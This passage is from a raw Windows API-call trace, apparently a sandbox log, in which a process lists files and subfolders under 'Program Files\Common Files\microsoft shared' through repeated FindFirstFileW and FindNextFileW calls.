ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShadesOfBlue.jpg", cAlternateFileName="")) returned 1 [0148.354] GetLastError () returned 0x12 [0148.354] FindNextFileW (in: hFindFile=0x894fb8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Soft Blue.htm", cAlternateFileName="")) returned 1 [0148.354] GetLastError () returned 0x12 [0148.354] FindNextFileW (in: hFindFile=0x894fb8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1 [0148.355] GetLastError () returned 0x12 [0148.355] FindNextFileW (in: hFindFile=0x894fb8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 1 [0148.355] GetLastError () returned 0x12 [0148.355] FindNextFileW (in: hFindFile=0x894fb8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 1 [0148.355] GetLastError () returned 0x12 [0148.355] FindNextFileW (in: hFindFile=0x894fb8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 0 [0148.355] FindClose (in: hFindFile=0x894fb8 | out: hFindFile=0x894fb8) returned 1 [0148.356] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4500070 | out: hHeap=0x23a0000) returned 1 [0148.356] FindNextFileW (in: hFindFile=0x836c60, lpFindFileData=0x3d5f2cc | out: lpFindFileData=0x3d5f2cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TextConv", cAlternateFileName="")) returned 1 [0148.356] GetLastError () returned 0x12 [0148.356] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\*", lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x895538 [0148.357] FindNextFileW (in: hFindFile=0x895538, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.357] FindNextFileW (in: hFindFile=0x895538, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0148.357] GetLastError () returned 0x12 [0148.357] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\en-US\\*", lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x895578 [0148.357] FindNextFileW (in: hFindFile=0x895578, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.357] FindNextFileW (in: hFindFile=0x895578, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0148.358] FindClose (in: hFindFile=0x895578 | out: hFindFile=0x895578) returned 1 [0148.358] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4510078 | out: hHeap=0x23a0000) returned 1 [0148.358] FindNextFileW (in: hFindFile=0x895538, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0148.358] FindClose (in: hFindFile=0x895538 | out: hFindFile=0x895538) returned 1 [0148.358] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4500070 | out: hHeap=0x23a0000) returned 1 [0148.358] FindNextFileW (in: hFindFile=0x836c60, lpFindFileData=0x3d5f2cc | out: lpFindFileData=0x3d5f2cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Triedit", cAlternateFileName="")) returned 1 [0148.358] GetLastError () returned 0x12 [0148.358] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\*", lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x895278 [0148.361] FindNextFileW (in: hFindFile=0x895278, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.361] FindNextFileW (in: hFindFile=0x895278, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0148.361] GetLastError () returned 0x12 [0148.362] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\en-US\\*", lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x895438 [0148.362] FindNextFileW (in: hFindFile=0x895438, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.362] FindNextFileW (in: hFindFile=0x895438, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0148.362] FindClose (in: hFindFile=0x895438 | out: hFindFile=0x895438) returned 1 [0148.362] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4510078 | out: hHeap=0x23a0000) returned 1 [0148.362] FindNextFileW (in: hFindFile=0x895278, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0148.362] FindClose (in: hFindFile=0x895278 | out: hFindFile=0x895278) returned 1 [0148.363] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4500070 | out: hHeap=0x23a0000) returned 1 [0148.363] FindNextFileW (in: hFindFile=0x836c60, lpFindFileData=0x3d5f2cc | out: lpFindFileData=0x3d5f2cc*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC", cAlternateFileName="")) returned 1 [0148.363] GetLastError () returned 0x12 [0148.363] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\*", lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x894f78 [0148.366] FindNextFileW (in: hFindFile=0x894f78, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.366] FindNextFileW (in: hFindFile=0x894f78, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8127e00, ftCreationTime.dwHighDateTime=0x1cbd076, ftLastAccessTime.dwLowDateTime=0xcd0a4098, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd8127e00, ftLastWriteTime.dwHighDateTime=0x1cbd076, nFileSizeHigh=0x0, nFileSizeLow=0xf1b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia100.dll", cAlternateFileName="")) returned 1 [0148.367] GetLastError () returned 0x12 [0148.367] FindNextFileW (in: hFindFile=0x894f78, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfe87c00, ftCreationTime.dwHighDateTime=0x1cbfe36, ftLastAccessTime.dwLowDateTime=0x2ce22546, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xcfe87c00, ftLastWriteTime.dwHighDateTime=0x1cbfe36, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 1 [0148.367] GetLastError () returned 0x12 [0148.367] FindNextFileW (in: hFindFile=0x894f78, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfe87c00, ftCreationTime.dwHighDateTime=0x1cbfe36, ftLastAccessTime.dwLowDateTime=0x2ce22546, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xcfe87c00, ftLastWriteTime.dwHighDateTime=0x1cbfe36, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 0 [0148.367] FindClose (in: hFindFile=0x894f78 | out: hFindFile=0x894f78) returned 1 [0148.367] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4500070 | out: hHeap=0x23a0000) returned 1 [0148.367] FindNextFileW (in: hFindFile=0x836c60, lpFindFileData=0x3d5f2cc | out: lpFindFileData=0x3d5f2cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX", cAlternateFileName="")) returned 1 [0148.367] GetLastError () returned 0x12 [0148.367] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VGX\\*", lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x894f78 [0148.368] FindNextFileW (in: hFindFile=0x894f78, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.368] FindNextFileW (in: hFindFile=0x894f78, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a69a2a7, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xb3fd6e56, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x4a69a2a7, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0xf1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 1 [0148.368] GetLastError () returned 0x12 [0148.368] FindNextFileW (in: hFindFile=0x894f78, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a69a2a7, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xb3fd6e56, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x4a69a2a7, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0xf1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 0 [0148.368] FindClose (in: hFindFile=0x894f78 | out: hFindFile=0x894f78) returned 1 [0148.368] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4500070 | out: hHeap=0x23a0000) returned 1 [0148.368] FindNextFileW (in: hFindFile=0x836c60, lpFindFileData=0x3d5f2cc | out: lpFindFileData=0x3d5f2cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTO", cAlternateFileName="")) returned 1 [0148.541] GetLastError () returned 0x12 [0148.541] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\*", lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8954f8 [0148.542] FindNextFileW (in: hFindFile=0x8954f8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.542] FindNextFileW (in: hFindFile=0x8954f8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aebd53e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0148.542] GetLastError () returned 0x12 [0148.542] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\*", lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aebd53e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x895178 [0148.548] FindNextFileW (in: hFindFile=0x895178, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aebd53e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.548] FindNextFileW (in: hFindFile=0x895178, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a6fdac8, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0148.548] GetLastError () returned 0x12 [0148.548] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\*", lpFindFileData=0x3d5eb40 | out: lpFindFileData=0x3d5eb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a6fdac8, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8951b8 [0148.550] FindNextFileW (in: hFindFile=0x8951b8, lpFindFileData=0x3d5eb40 | out: lpFindFileData=0x3d5eb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a6fdac8, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.550] FindNextFileW (in: hFindFile=0x8951b8, lpFindFileData=0x3d5eb40 | out: lpFindFileData=0x3d5eb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6d7a0a, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x30a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstallerUI.dll", cAlternateFileName="VSTOIN~1.DLL")) returned 1 [0148.550] GetLastError () returned 0x12 [0148.551] FindNextFileW (in: hFindFile=0x8951b8, lpFindFileData=0x3d5eb40 | out: lpFindFileData=0x3d5eb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, 